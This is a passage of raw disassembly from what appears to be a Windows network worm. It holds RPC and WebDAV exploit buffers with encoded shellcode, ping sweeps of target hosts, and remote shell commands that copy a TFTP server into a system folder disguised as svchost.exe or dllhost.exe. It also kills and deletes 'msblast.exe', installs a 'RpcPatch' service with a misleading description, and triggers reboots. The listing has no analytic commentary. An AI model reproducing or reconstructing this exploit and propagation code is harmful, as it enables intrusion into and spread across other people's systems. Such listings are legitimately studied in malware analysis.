eax jnz loc_401E54 lea ecx, [esp+410h+var_400] push ecx push offset aDirDllcacheTft ; "dir dllcache\\tftpd.exe\n\r" push esi call sub_401B10 add esp, 0Ch test eax, eax jz loc_401E54 lea edx, [esp+410h+var_400] push offset aTftpd_exe_0 ; "tftpd.exe" push edx call ebp ; dword_404100 add esp, 8 test eax, eax jnz short loc_401DF0 lea eax, [esp+410h+var_400] push offset aTftpd_exe ; "TFTPD.EXE" push eax call ebp ; dword_404100 add esp, 8 test eax, eax jnz short loc_401DF0 lea ecx, [esp+410h+var_400] push ecx push offset dword_407628 push esi call sub_401B90 add esp, 0Ch test eax, eax jz short loc_401E54 jmp short loc_401E07 ; --------------------------------------------------------------------------- loc_401DF0: ; CODE XREF: sub_401C80+142j ; sub_401C80+155j lea edx, [esp+410h+var_400] push edx push offset aCopyDllcacheTf ; "copy dllcache\\tftpd.exe wins\\svchost.ex"... push esi call sub_401B10 add esp, 0Ch test eax, eax jz short loc_401E54 loc_401E07: ; CODE XREF: sub_401C80+16Ej lea eax, [esp+410h+var_400] push eax push offset dword_4075A8 push esi call sub_401B90 add esp, 0Ch test eax, eax jz short loc_401E54 mov ebp, dword_4040C8 push 1F4h call ebp ; dword_4040C8 mov edi, offset aWinsDllhost_ex ; "wins\\DLLHOST.EXE\n\r" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset aWinsDllhost_ex ; "wins\\DLLHOST.EXE\n\r" push esi call dword_404168 ; send test eax, eax jz short loc_401E54 push 3E8h call ebp ; dword_4040C8 loc_401E54: ; CODE XREF: sub_401C80+5Fj ; sub_401C80+67j ... push esi call dword_404170 ; closesocket pop edi pop esi mov eax, [esp+408h+arg_0] pop ebp test eax, eax jz short loc_401E72 push eax call sub_402FC6 add esp, 4 loc_401E72: ; CODE XREF: sub_401C80+1E7j mov eax, 1 add esp, 404h retn 4 sub_401C80 endp ; =============== S U B R O U T I N E ======================================= sub_401E80 proc near ; CODE XREF: sub_401210:loc_401217p ; sub_401210+17p push offset aMicrosoft_com ; "microsoft.com" call dword_404160 ; gethostbyname neg eax sbb eax, eax neg eax retn sub_401E80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401EA0 proc near ; CODE XREF: sub_401210:loc_401230p var_70 = dword ptr -70h var_64 = byte ptr -64h sub esp, 74h lea eax, [esp+74h+var_64] push esi push 64h push eax call dword_404158 ; gethostname cmp eax, 0FFFFFFFFh jz short loc_401F1D lea ecx, [esp+78h+var_64] push ecx call dword_404160 ; gethostbyname test eax, eax jz short loc_401F1D mov edx, [eax+0Ch] mov esi, [edx] test esi, esi jz short loc_401F1D movsx ecx, word ptr [eax+0Ah] mov eax, ecx push edi lea edi, [esp+7Ch+var_70] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [esp+7Ch+var_70] push ecx call dword_40415C ; inet_ntoa mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, 1 mov edx, ecx mov esi, edi mov edi, offset dword_407478 shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb pop edi pop esi add esp, 74h retn ; --------------------------------------------------------------------------- loc_401F1D: ; CODE XREF: sub_401EA0+14j ; sub_401EA0+23j ... xor eax, eax pop esi add esp, 74h retn sub_401EA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401F30 proc near ; CODE XREF: sub_401280+A5p var_50 = byte ptr -50h sub esp, 50h or ecx, 0FFFFFFFFh xor eax, eax push esi push edi mov edi, offset aSearch ; "SEARCH /" repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ds:dword_4075A0 shr ecx, 2 rep movsd mov ecx, eax mov eax, 41414141h and ecx, 3 rep movsb mov edx, ds:dword_4075A0 mov ecx, 41h mov dword_406424, 8 mov esi, offset aU5951U6858U759 ; "%u5951%u6858%u759f%u0018%u5951%u6858%u7"... lea edi, [edx+8] rep stosd stosb mov eax, dword_406424 mov edx, ds:dword_4075A0 add eax, 105h mov ecx, 41414141h mov dword_406424, eax add eax, edx mov [eax], ecx mov [eax+4], ecx mov eax, dword_406424 mov ecx, ds:dword_4075A0 add eax, 8 mov dword_406424, eax lea edi, [eax+ecx] mov ecx, 30h rep movsd movsb mov eax, dword_406424 mov edx, ds:dword_4075A0 add eax, 0C0h mov ecx, 31h mov esi, offset aU5390U665eU66a ; "%u5390%u665e%u66ad%u993d%u7560%u56f8%u5"... mov dword_406424, eax lea edi, [eax+edx] rep movsd movsw movsb mov eax, dword_406424 mov ecx, ds:dword_4075A0 add eax, 0C6h mov esi, offset aFfilomidomfafd ; "ffilomidomfafdfgfhinhnlaljbeaaaaaalimmm"... mov dword_406424, eax lea edi, [eax+ecx] mov ecx, 55h rep movsd movsb mov edx, dword_406424 mov esi, ds:dword_4075A0 add edx, 154h mov ecx, 3F52h mov eax, 4E4E4E4Eh mov dword_406424, edx lea edi, [edx+esi] mov esi, offset aHttp1_1Host127 ; " HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Typ"... rep stosd stosw mov eax, dword_406424 mov edx, ds:dword_4075A0 mov ecx, 14h lea edi, [esp+58h+var_50] add eax, 0FD4Ah rep movsd lea edi, [eax+edx] mov ecx, 14h lea esi, [esp+58h+var_50] mov dword_406424, eax rep movsd mov eax, dword_406424 mov esi, offset loc_40597E add eax, 4Fh mov dword_406424, eax lea ecx, [eax+0E7h] lea edx, [eax+0ECh] mov dword_40642C, ecx mov ecx, ds:dword_4075A0 mov ds:dword_407470, edx lea edi, [eax+ecx] mov ecx, 5Dh rep movsd movsw mov eax, dword_406424 mov esi, ds:dword_4075A0 mov cx, word_406238 mov dl, byte_40623A add eax, 175h pop edi mov dword_406424, eax add eax, esi pop esi mov [eax], cx mov [eax+2], dl mov eax, dword_406424 add eax, 2 mov dword_406424, eax add esp, 50h retn sub_401F30 endp ; =============== S U B R O U T I N E ======================================= sub_4020E0 proc near ; CODE XREF: sub_401210+57p mov ax, word_405B68 push eax call dword_404174 ; ntohs mov ecx, ds:dword_4075A0 mov edx, dword_40642C xor eax, 9999h push offset dword_407478 mov [edx+ecx], ax call dword_404194 ; inet_addr mov ecx, ds:dword_4075A0 mov edx, ds:dword_407470 xor eax, 99999999h mov [edx+ecx], eax retn sub_4020E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402130 proc near ; CODE XREF: sub_401210+5Cp mov ax, word_405B68 push eax call dword_404174 ; ntohs mov ecx, dword_406428 xor eax, 9999h push offset dword_407478 mov word ptr dword_406470[ecx], ax call dword_404194 ; inet_addr mov edx, ds:dword_407474 xor eax, 99999999h mov dword_406470[edx], eax retn sub_402130 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402170 proc near ; CODE XREF: sub_401280+AAp push esi mov eax, dword_4057DC push edi mov ecx, 0D8h mov esi, offset dword_40547C mov edi, offset dword_406470 rep movsd mov ecx, dword_4057E4 add eax, 166h add ecx, 166h mov dword_4057DC, eax mov dword_4057E4, ecx mov dword_4067D8, ecx mov ecx, dword_4057E8 mov dword_4067D0, eax mov eax, dword_4057E0 mov dword_4067DC, ecx mov ecx, 0B3h mov esi, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" mov edi, offset dword_4067E0 mov edx, dword_405484 mov dword_40584C, 100139Dh mov dword_4067D4, eax rep movsd mov ecx, 0Fh mov esi, offset aC1234561111111 ; "\\C$\\123456111111111111111.doc" mov edi, offset dword_406AAC add edx, 2C0h rep movsd mov ecx, 0Ch mov esi, offset dword_405AF4 mov edi, offset dword_406AE8 mov eax, 2C0h rep movsd mov esi, dword_406480 mov ecx, dword_4064F4 mov edi, dword_406524 mov dword_406478, edx mov edx, dword_4064F0 add esi, eax add edx, eax add ecx, eax mov dword_406480, esi mov esi, dword_406528 mov dword_4064F0, edx mov edx, dword_406540 mov dword_4064F4, ecx mov ecx, dword_4065FC add edi, eax add esi, eax mov dword_406524, edi add edx, eax add ecx, eax mov dword_406528, esi pop edi mov dword_406428, 5ADh mov ds:dword_407474, 5B2h mov dword_406420, 6A8h mov dword_406540, edx mov dword_4065FC, ecx pop esi retn sub_402170 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4022A0 proc near ; CODE XREF: sub_401780+1E8p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 14h lea eax, [esp+14h+var_14] push eax push 28h call dword_40409C ; GetCurrentProcess push eax call dword_404044 ; OpenProcessToken lea ecx, [esp+14h+var_C] push ecx push offset aSeshutdownpriv ; "SeShutdownPrivilege" push 0 call dword_404048 ; LookupPrivilegeValueA mov eax, [esp+14h+var_14] push 0 push 0 lea edx, [esp+1Ch+var_10] push 0 push edx push 0 push eax mov [esp+2Ch+var_10], 1 mov [esp+2Ch+var_4], 2 call dword_404028 ; AdjustTokenPrivileges mov ecx, [esp+14h+arg_0] push 0 or ecx, 4 push ecx call dword_404148 ; ExitWindowsEx add esp, 14h retn sub_4022A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402310 proc near ; CODE XREF: sub_401780+8p var_9C = dword ptr -9Ch var_94 = dword ptr -94h sub esp, 9Ch call dword_404094 ; GetVersion and eax, 0FFh lea ecx, [esp+9Ch+var_9C] cmp eax, 5 push ecx sbb eax, eax and al, 0F8h add eax, 9Ch mov [esp+0A0h+var_9C], eax call dword_404098 ; GetVersionExA mov eax, [esp+9Ch+var_94] add esp, 9Ch retn sub_402310 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402350 proc near ; CODE XREF: sub_402390+Dp ; sub_402390+21p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] lea eax, [esp+arg_0] push eax push 1 push 0 push ecx push 80000002h call dword_40403C ; RegOpenKeyExA test eax, eax jnz short loc_40237E mov edx, [esp+arg_0] push edx call dword_404040 ; RegCloseKey mov eax, 1 retn ; --------------------------------------------------------------------------- loc_40237E: ; CODE XREF: sub_402350+1Bj xor eax, eax retn sub_402350 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402390 proc near ; CODE XREF: sub_401780+1Dp ; sub_401780+1DAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jnz short loc_4023AC push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Updates\\Windows 2000"... call sub_402350 add esp, 4 neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- loc_4023AC: ; CODE XREF: sub_402390+6j push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Updates\\Windows XP\\S"... call sub_402350 add esp, 4 test eax, eax jnz short loc_4023CF push offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Updates\\Windows XP\\S"... call sub_402350 add esp, 4 test eax, eax jnz short loc_4023CF retn ; --------------------------------------------------------------------------- loc_4023CF: ; CODE XREF: sub_402390+2Bj ; sub_402390+3Cj mov eax, 1 retn sub_402390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4023E0 proc near ; CODE XREF: sub_4015E0+61p ; sub_401660+5Cp var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_107 = byte ptr -107h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 110h push ebx push ebp push esi push edi push 0F003Fh push 0 push 0 call dword_40402C ; OpenSCManagerA mov ebp, eax test ebp, ebp jnz short loc_40240A pop edi pop esi pop ebp pop ebx add esp, 110h retn ; --------------------------------------------------------------------------- loc_40240A: ; CODE XREF: sub_4023E0+1Dj mov ecx, 41h xor eax, eax lea edi, [esp+120h+var_107] mov [esp+120h+var_108], 0 rep stosd mov edi, [esp+120h+arg_8] lea eax, [esp+120h+var_108] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push offset aSWinsS ; "%s\\wins\\%s" push eax call dword_40411C ; sprintf push offset aSvchost_exe ; "svchost.exe" push edi mov esi, 2 call dword_404140 ; _stricmp add esp, 18h test eax, eax jnz short loc_402456 mov esi, 3 loc_402456: ; CODE XREF: sub_4023E0+6Fj push 0 mov edx, [esp+124h+arg_4] push 0 mov eax, [esp+128h+arg_0] push 0 push 0 lea ecx, [esp+130h+var_108] push 0 push ecx push 0 push esi push 110h push 0F01FFh push edx push eax push ebp call dword_404030 ; CreateServiceA mov ebx, eax test ebx, ebx jnz short loc_4024A3 push ebp call dword_404034 ; CloseServiceHandle pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 110h retn ; --------------------------------------------------------------------------- loc_4024A3: ; CODE XREF: sub_4023E0+ADj mov ecx, [esp+120h+arg_C] push 0F01FFh push ecx push ebp mov [esp+12Ch+var_110], offset aManagesNetwork ; "Manages network configuration by updati"... xor esi, esi call dword_404038 ; OpenServiceA mov edi, eax test edi, edi jz short loc_402507 push 400h push 40h mov [esp+128h+var_10C], esi call dword_40408C ; LocalAlloc mov esi, eax test esi, esi jz short loc_4024FC lea edx, [esp+120h+var_10C] push edx push 400h push esi push 1 push edi call dword_404004 ; QueryServiceConfig2A test eax, eax jz short loc_4024FC mov eax, [esi] mov [esp+120h+var_110], eax loc_4024FC: ; CODE XREF: sub_4023E0+FCj ; sub_4023E0+114j push edi mov edi, dword_404034 call edi ; dword_404034 jmp short loc_40250D ; --------------------------------------------------------------------------- loc_402507: ; CODE XREF: sub_4023E0+E5j mov edi, dword_404034 loc_40250D: ; CODE XREF: sub_4023E0+125j lea ecx, [esp+120h+var_110] push ecx push 1 push ebx call dword_404000 ; ChangeServiceConfig2A test esi, esi jz short loc_402526 push esi call dword_404090 ; LocalFree loc_402526: ; CODE XREF: sub_4023E0+13Dj push ebx call edi ; dword_404034 push ebp call edi ; dword_404034 pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 110h retn sub_4023E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402540 proc near ; CODE XREF: sub_401280+ECp ; sub_401280+110p var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = byte ptr -120h var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_114 = dword ptr -114h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 134h push ebp push edi push 0F003Fh push 0 push 0 call dword_40402C ; OpenSCManagerA mov ebp, eax test ebp, ebp mov [esp+13Ch+var_134], ebp jnz short loc_40256A pop edi pop ebp add esp, 134h retn ; --------------------------------------------------------------------------- loc_40256A: ; CODE XREF: sub_402540+1Fj push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" lea eax, [esp+140h+var_104] push offset aDSWins ; "-d%s\\wins" push eax mov [esp+148h+var_130], 0 call dword_40411C ; sprintf mov edx, [esp+148h+arg_0] add esp, 0Ch lea ecx, [esp+13Ch+var_104] push 0F01FFh push edx push ebp mov [esp+148h+var_128], ecx call dword_404038 ; OpenServiceA mov edi, eax test edi, edi jnz short loc_4025B5 pop edi pop ebp add esp, 134h retn ; --------------------------------------------------------------------------- loc_4025B5: ; CODE XREF: sub_402540+6Aj push ebx push esi push 400h push 40h call dword_40408C ; LocalAlloc mov esi, dword_40401C mov ebx, eax lea eax, [esp+13Ch+var_118] mov [esp+13Ch+var_124], ebx push eax push edi call esi ; dword_40401C test eax, eax jnz short loc_4025E3 xor esi, esi jmp loc_40270E ; --------------------------------------------------------------------------- loc_4025E3: ; CODE XREF: sub_402540+9Aj mov eax, [esp+13Ch+var_114] cmp eax, 4 jz loc_402709 cmp eax, 2 jz loc_402709 lea ecx, [esp+13Ch+var_11C] push ecx push 400h push ebx push edi call dword_404020 ; QueryServiceConfigA test eax, eax jnz short loc_402616 xor esi, esi jmp loc_40270E ; --------------------------------------------------------------------------- loc_402616: ; CODE XREF: sub_402540+CDj cmp dword ptr [ebx+4], 4 jnz short loc_402642 push 0 push 0 push 0 push 0 push 0 push 0 push 0 push 0FFFFFFFFh push 3 push 0FFFFFFFFh push edi call dword_404024 ; ChangeServiceConfigA test eax, eax jnz short loc_402642 xor esi, esi jmp loc_40270E ; --------------------------------------------------------------------------- loc_402642: ; CODE XREF: sub_402540+DAj ; sub_402540+F9j lea edx, [esp+13Ch+var_120] push edx push 1 push edi call dword_404008 ; StartServiceA test eax, eax jnz short loc_40265B xor esi, esi jmp loc_40270E ; --------------------------------------------------------------------------- loc_40265B: ; CODE XREF: sub_402540+112j lea eax, [esp+13Ch+var_118] push eax push edi call esi ; dword_40401C test eax, eax jnz short loc_40266E xor esi, esi jmp loc_40270E ; --------------------------------------------------------------------------- loc_40266E: ; CODE XREF: sub_402540+125j cmp [esp+13Ch+var_114], 2 jnz loc_4026F9 mov ebp, dword_4040C8 mov ebx, dword_4040C0 mov esi, [esp+13Ch+var_11C] loc_402689: ; CODE XREF: sub_402540+1AFj mov eax, 0CCCCCCCDh mul [esp+13Ch+var_100] shr edx, 3 cmp edx, 3E8h jnb short loc_4026A4 mov edx, 3E8h jmp short loc_4026B1 ; --------------------------------------------------------------------------- loc_4026A4: ; CODE XREF: sub_402540+15Bj cmp edx, 2710h jbe short loc_4026B1 mov edx, 2710h loc_4026B1: ; CODE XREF: sub_402540+162j ; sub_402540+16Aj push edx call ebp ; dword_4040C8 lea ecx, [esp+13Ch+var_118] push ecx push edi call dword_40401C ; QueryServiceStatus test eax, eax jz short loc_4026F1 mov edx, [esp+13Ch+var_128] mov eax, [esp+13Ch+var_104] cmp eax, edx jbe short loc_4026DE call ebx ; dword_4040C0 mov esi, eax mov eax, [esp+13Ch+var_104] mov [esp+13Ch+var_128], eax jmp short loc_4026EA ; --------------------------------------------------------------------------- loc_4026DE: ; CODE XREF: sub_402540+18Ej call ebx ; dword_4040C0 mov ecx, [esp+13Ch+var_100] sub eax, esi cmp eax, ecx ja short loc_4026F1 loc_4026EA: ; CODE XREF: sub_402540+19Cj cmp [esp+13Ch+var_114], 2 jz short loc_402689 loc_4026F1: ; CODE XREF: sub_402540+182j ; sub_402540+1A8j mov ebp, [esp+13Ch+var_12C] mov ebx, [esp+13Ch+var_124] loc_4026F9: ; CODE XREF: sub_402540+133j mov eax, [esp+13Ch+var_114] xor ecx, ecx cmp eax, 4 setz cl mov esi, ecx jmp short loc_40270E ; --------------------------------------------------------------------------- loc_402709: ; CODE XREF: sub_402540+AAj ; sub_402540+B3j mov esi, 1 loc_40270E: ; CODE XREF: sub_402540+9Ej ; sub_402540+D1j ... push ebx call dword_404090 ; LocalFree push edi mov edi, dword_404034 call edi ; dword_404034 push ebp call edi ; dword_404034 mov eax, esi pop esi pop ebx pop edi pop ebp add esp, 134h retn sub_402540 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402730 proc near ; CODE XREF: sub_4011C0+1Fp var_1C = byte ptr -1Ch var_18 = dword ptr -18h sub esp, 1Ch push esi push edi push 80000000h push 0 push 0 call dword_40402C ; OpenSCManagerA mov edi, eax test edi, edi jnz short loc_402755 pop edi mov eax, 11111111h pop esi add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_402755: ; CODE XREF: sub_402730+18j push 0F01FFh push offset aRpcpatch ; "RpcPatch" push edi call dword_404038 ; OpenServiceA mov esi, eax test esi, esi jnz short loc_402777 pop edi mov eax, 22222222h pop esi add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_402777: ; CODE XREF: sub_402730+3Aj lea eax, [esp+24h+var_1C] push eax push esi call dword_40401C ; QueryServiceStatus test eax, eax push esi mov esi, dword_404034 jnz short loc_40279E call esi ; dword_404034 push edi call esi ; dword_404034 pop edi mov eax, 33333333h pop esi add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_40279E: ; CODE XREF: sub_402730+5Cj call esi ; dword_404034 push edi call esi ; dword_404034 mov eax, [esp+24h+var_18] pop edi pop esi add esp, 1Ch retn sub_402730 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4027B0 proc near ; CODE XREF: sub_4011C0+6p push offset aRpcpatch_mutex ; "RpcPatch_Mutex" push 0 push 0 call dword_404084 ; CreateMutexA test eax, eax jz short loc_4027D3 call dword_404060 ; RtlGetLastWin32Error cmp eax, 0B7h jz short loc_4027D3 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4027D3: ; CODE XREF: sub_4027B0+11j ; sub_4027B0+1Ej mov eax, 1 retn sub_4027B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4027E0 proc near ; CODE XREF: sub_4011C0:loc_4011FCj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 10h xor eax, eax mov [esp+10h+var_10], offset aRpcpatch ; "RpcPatch" mov [esp+10h+var_8], eax mov [esp+10h+var_4], eax lea eax, [esp+10h+var_10] mov [esp+10h+var_C], offset loc_402920 push eax call dword_404018 ; StartServiceCtrlDispatcherA neg eax sbb eax, eax neg eax dec eax add esp, 10h retn sub_4027E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402820 proc near ; CODE XREF: sub_402880+1Ap ; sub_402880+33p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 1Ch mov eax, [esp+1Ch+arg_0] mov ecx, [esp+1Ch+arg_8] mov dword_405BA0, eax mov [esp+1Ch+var_18], eax mov eax, [esp+1Ch+arg_4] lea edx, [esp+1Ch+var_1C] mov [esp+1Ch+var_10], eax mov eax, ds:dword_4076A8 push edx push eax mov [esp+24h+var_1C], 10h mov [esp+24h+var_14], 5 mov [esp+24h+var_C], 0 mov [esp+24h+var_8], ecx mov [esp+24h+var_4], 0BB8h call dword_404014 ; SetServiceStatus add esp, 1Ch retn sub_402820 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402880 proc near ; DATA XREF: seg000:loc_402920o arg_0 = dword ptr 4 mov eax, [esp+arg_0] dec eax cmp eax, 3 ; switch 4 cases ja short locret_402909 ; default jmp off_40290C[eax*4] ; switch jump loc_402891: ; DATA XREF: seg000:off_40290Co push 1388h ; jumptable 0040288A case 0 push 0 push 3 call sub_402820 add esp, 0Ch push 3E8h call dword_4040C8 ; Sleep push 0 push 0 push 1 call sub_402820 add esp, 0Ch retn 4 ; --------------------------------------------------------------------------- loc_4028BE: ; CODE XREF: sub_402880+Aj ; DATA XREF: seg000:off_40290Co push 1 ; jumptable 0040288A case 1 push 0 push 6 call sub_402820 push 0 push 0 push 7 call sub_402820 add esp, 18h retn 4 ; --------------------------------------------------------------------------- loc_4028DA: ; CODE XREF: sub_402880+Aj ; DATA XREF: seg000:off_40290Co push 1 ; jumptable 0040288A case 2 push 0 push 5 call sub_402820 push 0 push 0 push 4 call sub_402820 add esp, 18h retn 4 ; --------------------------------------------------------------------------- loc_4028F6: ; CODE XREF: sub_402880+Aj ; DATA XREF: seg000:off_40290Co mov ecx, dword_405BA0 ; jumptable 0040288A case 3 push 0 push 0 push ecx call sub_402820 add esp, 0Ch locret_402909: ; CODE XREF: sub_402880+8j retn 4 ; default sub_402880 endp ; --------------------------------------------------------------------------- off_40290C dd offset loc_402891 ; DATA XREF: sub_402880+Ar dd offset loc_4028BE ; jump table for switch statement dd offset loc_4028DA dd offset loc_4028F6 align 10h loc_402920: ; DATA XREF: sub_4027E0+19o push offset sub_402880 push offset aRpcpatch ; "RpcPatch" call dword_404010 ; RegisterServiceCtrlHandlerA test eax, eax mov ds:dword_4076A8, eax jz short locret_40296D push 1 push 0 push 2 call sub_402820 push 0 push 0 push 4 call sub_402820 call sub_401280 push 0 push 0 push 3 call sub_402820 push 0 push 0 push 1 call sub_402820 add esp, 30h locret_40296D: ; CODE XREF: seg000:00402937j retn 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402970 proc near ; CODE XREF: sub_401280+4Ep var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 210h push esi mov esi, dword_4040A8 lea eax, [ebp+var_10C] push 104h push eax push 0 call esi ; dword_4040A8 lea ecx, [ebp+var_10C] push ecx call dword_404074 ; GetFileAttributesA test al, 1 jz short loc_4029B1 and al, 0FEh lea edx, [ebp+var_10C] push eax push edx call dword_404078 ; SetFileAttributesA loc_4029B1: ; CODE XREF: sub_402970+2Fj push 0 call dword_40407C ; GetModuleHandleA lea ecx, [ebp+var_210] push 104h push ecx push eax mov [ebp+var_4], eax call esi ; dword_4040A8 push 4 call dword_4040E0 ; CloseHandle lea eax, [ebp+var_210] push 0 push 0 push eax push dword_4040BC push [ebp+var_4] push dword_4040E8 push dword_404080 retn sub_402970 endp ; sp-analysis failed ; --------------------------------------------------------------------------- pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402A00 proc near ; CODE XREF: sub_401280+1Ep ; sub_401280+1D9p var_108 = byte ptr -108h var_107 = byte ptr -107h sub esp, 108h push esi push edi push offset aMsblast ; "msblast" call sub_401000 add esp, 4 test eax, eax jz short loc_402A48 push eax push 0 push 1F0FFFh call dword_404070 ; OpenProcess mov esi, eax test esi, esi jz short loc_402A48 push 1 push esi call dword_4040AC ; TerminateProcess push 1388h call dword_4040C8 ; Sleep push esi call dword_4040E0 ; CloseHandle loc_402A48: ; CODE XREF: sub_402A00+17j ; sub_402A00+2Bj mov ecx, 41h xor eax, eax lea edi, [esp+110h+var_107] mov [esp+110h+var_108], 0 rep stosd push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" lea eax, [esp+114h+var_108] push offset aSMsblast_exe ; "%s\\msblast.exe" push eax call dword_40411C ; sprintf add esp, 0Ch lea ecx, [esp+110h+var_108] push ecx call dword_404074 ; GetFileAttributesA pop edi pop esi test al, 1 jz short loc_402A91 and al, 0FEh lea edx, [esp+108h+var_108] push eax push edx call dword_404078 ; SetFileAttributesA loc_402A91: ; CODE XREF: sub_402A00+81j lea eax, [esp+108h+var_108] push eax call dword_4040E8 ; DeleteFileA add esp, 108h retn sub_402A00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402AB0 proc near ; CODE XREF: sub_402B20+26p ; sub_402C40+27p arg_0 = dword ptr 4 push esi push edi call sub_403122 ; IcmpCreateFile mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_402AC3 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_402AC3: ; CODE XREF: sub_402AB0+Cj push 5Ch push 40h call dword_404068 ; GlobalAlloc mov esi, eax test esi, esi jnz short loc_402ADE push edi call sub_40311C ; IcmpCloseHandle pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_402ADE: ; CODE XREF: sub_402AB0+21j mov eax, [esp+8+arg_0] push ebx push 7D0h push 5Ch push esi push 0 push 40h push offset dword_406430 push eax push edi mov dword ptr [esi+10h], offset dword_406430 mov word ptr [esi+0Ch], 40h call sub_403116 ; IcmpSendEcho push esi mov ebx, eax call dword_40406C ; GlobalFree push edi call sub_40311C ; IcmpCloseHandle mov eax, ebx pop ebx pop edi pop esi retn sub_402AB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402B20 proc near ; DATA XREF: sub_401470+F0o var_414 = word ptr -414h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_3FC = byte ptr -3FCh arg_0 = dword ptr 4 sub esp, 414h push ebp push esi push offset dword_4075A4 call dword_404088 ; InterlockedIncrement mov dword ptr [esp+41Ch+var_414], 0BB8h mov ebp, [esp+41Ch+arg_0] mov esi, [ebp+0] push esi call sub_402AB0 add esp, 4 test eax, eax jz loc_402C17 push 87h mov word ptr [esp+420h+var_410], 2 mov [esp+420h+var_40C], esi call dword_404174 ; ntohs push 0 push 1 push 2 mov word ptr [esp+428h+var_410+2], ax call dword_404150 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz loc_402C17 push ebx push edi lea eax, [esp+424h+var_410] push 10h push eax push esi call dword_404154 ; connect cmp eax, 0FFFFFFFFh jz short loc_402C0E mov ebx, dword_404168 push 0 push 48h push offset dword_405434 push esi call ebx ; dword_404168 cmp eax, 0FFFFFFFFh jz short loc_402C0E lea ecx, [esp+420h+var_410] push 4 push ecx push 1006h push 0FFFFh push esi call dword_404164 ; setsockopt mov edi, dword_40416C push 0 lea edx, [esp+424h+var_3FC] push 3E8h push edx push esi call edi ; dword_40416C cmp eax, 0FFFFFFFFh jz short loc_402C0E test eax, eax jz short loc_402C0E mov eax, dword_406420 push 0 push eax push offset dword_406470 push esi call ebx ; dword_404168 cmp eax, 0FFFFFFFFh jz short loc_402C0E push 0 lea ecx, [esp+424h+var_3FC] push 400h push ecx push esi call edi ; dword_40416C loc_402C0E: ; CODE XREF: sub_402B20+7Bj ; sub_402B20+92j ... push esi call dword_404170 ; closesocket pop edi pop ebx loc_402C17: ; CODE XREF: sub_402B20+30j ; sub_402B20+62j test ebp, ebp jz short loc_402C24 push ebp call sub_402FC6 add esp, 4 loc_402C24: ; CODE XREF: sub_402B20+F9j push offset dword_4075A4 call dword_404064 ; 